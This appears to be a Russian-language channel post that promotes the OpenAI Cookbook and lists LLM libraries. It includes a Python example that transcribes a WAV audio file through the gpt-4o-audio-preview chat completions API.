Whitehat Lab

👩‍💻

OpenAI Cookbook

Руководства, библиотеки и примеры кодов для выполнения различных задач с API OpenAI

Полезное:

😉

How to work with large language models

😉

Introduction to GPT-4o and GPT-4o mini

😉

Using GPT4o mini to tag and caption images

😉

How to parse PDF docs for RAG

😉

Using reasoning for data validation

😉

How to call functions with chat models

Библиотеки:

😉

Chainlit - making chatbot interfaces 🐍

😉

Embedchain - managing and syncing unstructured data with LLMs 🐍

😉

LangChain - chaining sequences of language model prompts 🐍

🖥

😉

Outlines - provides a domain-specific language to simplify prompting 🐍

Пример транскрибации 🎧 аудио файла:

import requests
import base64
import os
import json

# Load the API key from the environment variable
api_key = os.getenv("OPENAI_API_KEY")


def process_audio_with_gpt_4o(base64_encoded_audio, output_modalities, system_prompt):
    # Chat Completions API end point 
    url = "https://api.openai.com/v1/chat/completions"

    # Set the headers
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {api_key}"
    }

    # Construct the request data
    data = {
        "model": "gpt-4o-audio-preview",
        "modalities": output_modalities,
        "audio": {
            "voice": "alloy",
            "format": "wav"
        },
        "messages": [
            {
                "role": "system",
                "content": system_prompt
            },
            {
                "role": "user",
                "content": [
                    {
                        "type": "input_audio",
                        "input_audio": {
                            "data": base64_encoded_audio,
                            "format": "wav"
                        }
                    }
                ]
            }
        ]
    }
    
    request_response = requests.post(url, headers=headers, data=json.dumps(data))
    if request_response.status_code == 200:
        return request_response.json()
    else:  
        print(f"Error {request_response.status_code}: {request_response.text}")
        return
    

audio_wav_path = "./sounds/keynote_recap.wav"

# Read the WAV file and encode it to base64
with open(audio_wav_path, "rb") as audio_file:
    audio_bytes = audio_file.read()
    english_audio_base64 = base64.b64encode(audio_bytes).decode('utf-8')

modalities = ["text"]
prompt = "The user will provide an audio file in English. Transcribe the audio to English text, word for word. Only provide the language transcription, do not include background noises such as applause. "

response_json = process_audio_with_gpt_4o(english_audio_base64, modalities, prompt)

english_transcript = response_json['choices'][0]['message']['content']

print(english_transcript)

😉

Home

💻

Cookbook

#openai #api #cheatsheet #llm

✈️